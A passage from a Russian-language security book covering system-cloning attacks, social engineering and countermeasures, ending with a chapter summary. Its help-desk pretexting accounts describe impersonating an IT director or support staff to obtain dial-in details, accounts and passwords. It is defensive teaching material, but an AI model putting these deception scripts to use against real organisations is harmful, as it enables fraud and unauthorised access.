Очевидно, что для осуществления подобной атаки требуется высокий уровень доступа к целевой системе, поскольку все перечисленные в табл. 14.3 процедуры требуют перезапуска системы или физического удаления жесткого диска. Впрочем, если взломщик получит этот вид доступа, то с уверенностью можно сказать, что он сможет отвести душу по-настоящему (читателям, которым в это не верится, стоит еще раз перечитать раздел о "наборах отмычек"). Подумайте о практическом применении приложений, основанных на использовании такой системной информации, как содержимое списка процессов, данных о загрузке центрального процессора и т.д. На основе этих данных генерируются контрольные суммы, применяемые в дальнейшем при санкционировании некоторых видов транзакций.

Таблица 14.3. Некоторые технологии копирования состояния системы и связанные с ними программные продукты

Технология
Программный продукт
Адрес URL
Дублирование жестких дисков
Image MASSter OmniClone line
http://www.ics-iq.com 
http: //www.logicube.com
Клонирование дисков
Drive Image FlashClone Norton Ghost RapiDeploy
http: //www.powerguest .com 
http: //www.ics-iq.com 
http: //www.symantec .com 
http: //www.altiris .com
Работа с виртуальными дисками, защищенными от записи
VMWare
http://www.vmware.com
Восстановление системы
9Lives (Win Bx only) SecondChance (только Win 9x)
http://www.duomark.com/9Lives 
http: //www.powerquest.com

Контрмеры



Физическая безопасность всегда должна быть во главе списка защитных мероприятий любой информационной системы. Двери с надежными замками могут предотвратить атаки, направленные на копирование или клонирование системных данных.
Положение становится более серьезным при взломе, при котором злоумышленники пользуются приложением, ранее приобретенным самой компанией. Надежные приложения должны быть основаны на технологиях, которые никак не связаны с функционированием системных компонентов, обеспечивающих возможность использования списка процессов, файловой системы или других данных, которые могут быть легко воспроизведены с помощью средств создания образа системы. Если производители программного обеспечения не спешат делиться техническими подробностями и обосновывать надежность своих программ, лучше поискать какую-нибудь альтернативу.


6. Социальная инженерия



Социальная инженерия


Последний раздел этой главы посвящен методу, наводящему наибольший ужас на тех, кто отвечает за сохранность информации,— социальной инженерии (social engineering). Хотя этот термин прочно закрепился в хакерском жаргоне, обозначая метод убеждения и/или обмана сотрудников какой-либо компании для получения доступа к ее информационным системам, мы считаем его неудачным. Такие приемы обычно применяются в процессе обычного человеческого общения или при других видах взаимодействия. В качестве технических средств обычно выбирается телефон, но попытка наладить общение может быть предпринята и через электронную почту, коммерческие каналы телевидения или другие самые разнообразные способы, позволяющие вызвать нужную реакцию. Успешному взлому с применением социальной инженерии, как правило, предшествуют следующие стандартные подходы.

Необразованный пользователь и "справочный стол"



Однажды авторы, проявив достаточную настойчивость, просмотрели списки контактных данных сотрудников компании, адреса электронной почты и номера телефонов внутренней телефонной сети одной компании. Все это оказалось возможным благодаря обращению к "справочному столу" этой компании.
Сначала мы собрали информацию о сотрудниках этой компании, используя некоторые из методов поиска в открытых источниках (см. главу 1). Очень ценные данные посчастливилось раздобыть у компании-регистратора доменных имен Network Solutions по адресу http://www.networksolutions.com. Здесь были обнаружены данные директора отдела информационных технологий.
Имени этого человека и его телефонного номера, полученных в компании-регистраторе, оказалось вполне достаточно, чтобы приступить к атаке, которую можно назвать "удаленный пользователь, попавший в затруднительное положение". Для прикрытия мы воспользовались следующей легендой: у директора отдела информационных технологий, который пребывает в командировке по делам фирмы, возникли трудности. Ему срочно нужно получить некоторые файлы Power Point для презентации, которая состоится завтра. С помощью такого трюка от служащих "справочного стола" нам удалось узнать версию клиентского программного обеспечения удаленного доступа (которую можно бесплатно получить на Web-узле производителя), ее конфигурационные параметры, бесплатный номер телефона для дозвона на сервер удаленного доступа и учетную запись для регистрации на этом сервере. Установив первоначальный доступ, мы перезвонили несколько часов спустя (выдав себя за того же пользователя!) и объяснили, что забыли пароль почтовой учетной записи. Пароль был восстановлен. Теперь можно было отправлять почту, пользуясь внутренним почтовым ящиком компании.
Затем с использованием нескольких звонков удалось получить доступ к внутренней телефонной сети компании. Код доступа к этой сети дал возможность пользоваться исходящими телефонными звонками в любую точку земного шара за счет компании. Позже было установлено, что сервер удаленного доступа имеет пустой пароль в учетной записи администратора, к которой можно получить доступ с помощью полученного ранее номера бесплатного дозвона. Нет необходимости говорить, что в течение нескольких часов был установлен полный контроль над сетью этой организации (причем большая часть этого времени прошла в ожидании ответных звонков из "справочного стола"). И все это было проделано только с помощью социальной инженерии.

"Справочный стол" и растерянный пользователь



В предыдущем примере было интересно наблюдать за тем, какое гипнотизирующее влияние маска руководителя оказала на стоящих на более низком уровне сотрудников "справочного стола". Однако в некоторых компаниях, где технические знания персонала "справочного стола" дают им возможность получать от сотрудников любую информацию, этот метод можно применить несколько по-другому и добыть сведения от ничего не подозревающих пользователей. Однажды, найдя на одном из Web-узлов список внутренних телефонов компании и представляясь работником отдела внутренней технической поддержки, авторы начали обзванивать сотрудников, выбирая телефоны случайным образом. Таким образом удалось получить информацию об именах пользователей и паролях доступа к внутренним файлам, а также некоторые общие сведения о локатьной сети. Эту информацию предоставляли 25% из тех, кому звонили. Выдавая себя либо за директора отдела информационных технологий, либо за сотрудника группы технической поддержки можно с высокой эффективностью извлекать необходимые данные.

Контрмеры



В этой главе описаны самые разнообразные атаки. Некоторые из них выглядят безграничными в своих проявлениях, и кажется, что их очень трудно предотвратить (например, поиск информации в открытых источниках Internet). Хотя противодействовать всем атакам с применением социальной инженерии почти невозможно, мы постарались все же сформулировать некоторые рекомендации, которые могут оказаться эффективными.

  •  Ограничение утечки данных. Web-узлы, общедоступные базы данных, компании-регистраторы, "желтые страницы" и другие источники информации должны содержать лишь общие сведения, такие как корпоративные номера телефонов и официальные должности вместо имен сотрудников (например, "Администратор зоны" вместо "Джон Смит").
  •  Выработка строгой политики выполнения процедур внутренней и внешней технической поддержки. Перед тем, как получить поддержку, каждый позвонивший должен сообщить свой идентификационный номер служащего или пройти идентификацию в любой другой форме. Сотрудники группы поддержки должны предоставлять помощь в строго определенных рамках и не должны отвечать на вопросы, связанные с используемыми внутренними технологиями. Нужно также определить те непредвиденные ситуации, в которых можно выходить за рамки этих требований.
  •  Проявление особой бдительности в вопросах, касающихся удаленного доступа. Следует помнить, что подобная привилегия повышает производительность работы не только сотрудников фирмы, но и взломщиков. Советы, касающиеся обеспечения безопасности удаленных соединений можно найти в главе 9.
  •  Тщательная настройка как исходящего, гак и входящего трафика брандмауэров и маршрутизаторов. Это поможет предотвратить, например, вовлечение пользователей в процесс совместного использования внешних файлов. Здесь отлично сработает хорошее правило очистки (последним правилом каждого списка управления доступом должен быть полный запрет, т.е. каждому пользователю запрещен доступ к файлам всех остальных)
  •  Безопасное использование электронной почты. Если кто-нибудь сомневается в важности этого правила, ему стоит прочитать главу 16. Следует научиться прослеживать маршрут прохождения почтового сообщения с помощью анализа его заголовка (на Web-узле http://spamcop.net в разделе часто задаваемых вопросов можно найти информацию о настройке почтовых клиентских приложений так, чтобы заголовки отображались полностью).
  •  Повышение уровня образованности сотрудников фирмы в вопросах обеспечения безопасности. Нужно выработать политику безопасности и распространить ее внутри всей организации. Для разработки такой политики в качестве отправной точки прекрасно подойдет документ RFC 2196, The Site Security Handbook. К нему следует добавить также RFC 2504, The Users' Security Handbook, с которым в настоящее время нужно познакомиться всем пользователям Internet. Оба документа можно найти на Web-узле http://www.rfc-editor.org.



7. Резюме



Резюме



В этой главе вы познакомились со способами захвата соединений TCP в сети с множественным доступом, а также с тем, как взломщики могут получить доступ к системе,, передавая команды для локального выполнения или путем перехвата соединения. Эти типы атак очень просто реализовать в сетях с множественным доступом и так же просто предотвратить при переходе к сети с коммутацией пакетов.
Вы узнали также о том, какие шаги следует предпринять, если в сеть проник злоумышленник. Избавиться от его присутствия очень трудно, однако это все же вполне осуществимая задача. Ее можно решить с использованием рекомендаций, приведенных в данной главе. Ниже перечислены основные аспекты этих советов. Тем не менее, лучше всего заново переустановить все программы, воспользовавшись проверенными носителями.

  •  Проверяйте привилегии учетных записей и принадлежность к группам. Удаляйте любую подозрительную учетную запись, и сведите к минимуму число привилегированных пользователей.
  •  Очищайте загрузочные файлы конфигурации от подозрительных записей. Эти файлы являются основным местом, где после создания "потайного хода" остаются следы, поскольку большинство взломщиков стремятся к сохранению возможности войти в систему и после ее перезагрузки.
  •  Не забывайте о том, что такие службы планирования заданий, как AT системы NT/2000 и сгоп в UNIX также могут быть использованы для запуска демонов, обеспечивающих "потайной ход", даже если система не часто перезагружается. Постоянно следите за списком заданий, которые выполняются по расписанию.
  •  Познакомьтесь с самыми популярными инструментами создания "потайных ходов", такими как Back Orifice и Net Bus. Это позволит получить представление об особенностях функционирования этих продуктов, которые позволят обнаружить их присутствие в системе. Серьезно подойдите к вопросу приобретения антивирусных или других "чистящих" программных продуктов, осуществляющих активное сканирование и помогающих решить такие проблемы.
  •  Будьте предельно осторожны при запуске исполняемых файлов, полученных из ненадежных источников. Кто знает, какие зловредные утилиты при этом могут быть незаметно установлены? Программы типа "троянский конь" идентифицировать очень трудно, а последующая переустановка системы является не очень приятным занятием. Применяйте средства обнаружения таких программ, утилиты подсчета контрольных сумм, такие как MDSsum или Tripwire. Это позволит удостовериться в подлинности используемых файлов, особенно системных, которые используются при регистрации в системе.
  •  Чтобы узнать, как Web-броузеры и почтовые программы могут стать переносчиками программ типа "троянский конь", прочитайте главу 16.

И наконец, вы узнали о социальной инженерии и ее возможностях по нарушению системы обеспечения безопасности организации. Как сказано в документе RFC 2504, "Паранойя — это очень хорошо". Убедитесь, что каждый, кто работает с важными данными, осознает свою ответственность.